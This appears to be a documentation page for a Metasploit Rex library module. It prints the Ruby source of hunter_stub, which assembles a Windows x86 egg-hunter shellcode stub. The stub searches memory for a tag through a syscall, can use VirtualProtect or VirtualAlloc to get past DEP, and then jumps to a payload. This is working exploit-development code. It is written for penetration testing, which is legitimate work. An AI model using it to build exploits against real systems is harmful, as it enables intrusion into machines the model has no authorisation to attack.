module Rex::Exploitation::Egghunter::Windows::X86
Constants
- Alias
Public Instance Methods
hunter_stub(payload, badchars = '', opts = {})
click to toggle source
The egg hunter stub for win/x86.
# File lib/rex/exploitation/egghunter.rb, line 43 def hunter_stub(payload, badchars = '', opts = {}) startreg = opts[:startreg] searchforward = opts[:searchforward] raise RuntimeError, "Invalid egg string! Need 4 bytes." if opts[:eggtag].length != 4 marker = "0x%x" % opts[:eggtag].unpack('V').first checksum = checksum_stub(payload, badchars, opts) startstub = '' if startreg if startreg.downcase != 'edx' startstub = "\n\tmov edx,#{startreg}\n\tjmp next_addr" else startstub = "\n\tjmp next_addr" end end startstub << "\n\t" if startstub.length > 0 # search forward or backward ? flippage = "\n\tor dx,0xfff" edxdirection = "\n\tinc edx" if searchforward.to_s.downcase == 'false' # go backwards flippage = "\n\txor dl,dl" edxdirection = "\n\tdec edx" end # other vars getpointer = '' getsize = '' getalloctype = '' getpc = '' jmppayload = "jmp edi" apireg = opts[:depreg] || 'esi' apidest = opts[:depdest] depsize = opts[:depsize] freeregs = [ "esi", "ebp", "ecx", "ebx" ] reginfo = { "ebx"=>["bx","bl","bh"], "ecx"=>["cx","cl","ch"] } if opts[:depmethod] if freeregs.index(apireg) == nil getpointer << "mov #{freeregs[0]},#{apireg}\n\t" apireg = freeregs[0] end freeregs.delete(apireg) if opts[:depmethod].downcase == "virtualalloc" depsize = 0xfff end if opts[:depmethod].downcase == "copy" || opts[:depmethod].downcase == "copy_size" if apidest if freeregs.index(apidest) == nil getpointer << "mov #{freeregs[0]},#{apidest}\n\t" apidest = freeregs[0] end else getpc = "fldpi\n\tfstenv [esp-0xc]\n\tpop #{freeregs[0]}\n\t" apidest = freeregs[0] end freeregs.delete(apidest) end sizereg = freeregs[0] if not depsize depsize = payload.length * 2 if opts[:depmethod] if opts[:depmethod].downcase == "copy_size" depsize = payload.length end end end if depsize <= 127 getsize << "push 0x%02x\n\t" % depsize else sizebytes = "%04x" % depsize low = sizebytes[2,4] high = sizebytes[0,2] if sizereg == "ecx" || sizereg == "ebx" regvars = reginfo[sizereg] getsize << "xor #{sizereg},#{sizereg}\n\t" if low != "00" and high != "00" getsize << "mov #{regvars[0]},0x%s\n\t" % sizebytes elsif low != "00" getsize << "mov #{regvars[1]},0x%s\n\t" % low elsif high != "00" getsize << "mov #{regvars[2]},0x%s\n\t" % high end end if sizereg == "ebp" if low != "00" and high != "00" getsize << "xor #{sizereg},#{sizereg}\n\t" getsize << "mov bp,0x%s\n\t" % sizebytes end end # last resort if getsize == '' blockcnt = 0 vpsize = 0 blocksize = depsize while blocksize > 127 blocksize = blocksize / 2 blockcnt += 1 end getsize << "xor #{sizereg},#{sizereg}\n\tadd #{sizereg},0x%02x\n\t" % blocksize vpsize = blocksize depblockcnt = 0 while depblockcnt < blockcnt getsize << "add #{sizereg},#{sizereg}\n\t" vpsize += vpsize depblockcnt += 1 end delta = depsize - vpsize if delta > 0 getsize << "add #{sizereg},0x%02x\n\t" % delta end end if opts[:depmethod].downcase == "virtualalloc" getsize << "inc #{sizereg}\n\t" end getsize << "push #{sizereg}\n\t" end getalloctype = getsize case opts[:depmethod].downcase when "virtualprotect" jmppayload = "push esp\n\tpush 0x40\n\t" jmppayload << getsize jmppayload << "push edi\n\tpush edi\n\tpush #{apireg}\n\tret" when "virtualalloc" jmppayload = "push 0x40\n\t" jmppayload << getalloctype jmppayload << "push 0x01\n\t" jmppayload << "push edi\n\tpush edi\n\tpush #{apireg}\n\tret" when "copy" jmppayload = getpc jmppayload << "push edi\n\tpush #{apidest}\n\tpush #{apidest}\n\tpush #{apireg}\n\tmov edi,#{apidest}\n\tret" when "copy_size" jmppayload = getpc jmppayload << getsize jmppayload << "push edi\n\tpush #{apidest}\n\tpush #{apidest}\n\tpush #{apireg}\n\tmov edi,#{apidest}\n\tret" end end jmppayload << "\n" if jmppayload.length > 0 assembly = <<EOS #{getpointer} #{startstub} check_readable: #{flippage} next_addr: #{edxdirection} push edx push 0x02 ; use NtAccessCheckAndAuditAlarm syscall pop eax int 0x2e cmp al,5 pop edx je check_readable check_for_tag: ; check that the tag matches once mov eax,#{marker} mov edi,edx scasd jne next_addr ; it must match a second time too scasd jne next_addr ; check the checksum if the feature is enabled #{checksum} ; jump to the payload #{jmppayload} EOS assembled_code = Metasm::Shellcode.assemble(Metasm::Ia32.new, assembly).encode_string # return the stub assembled_code end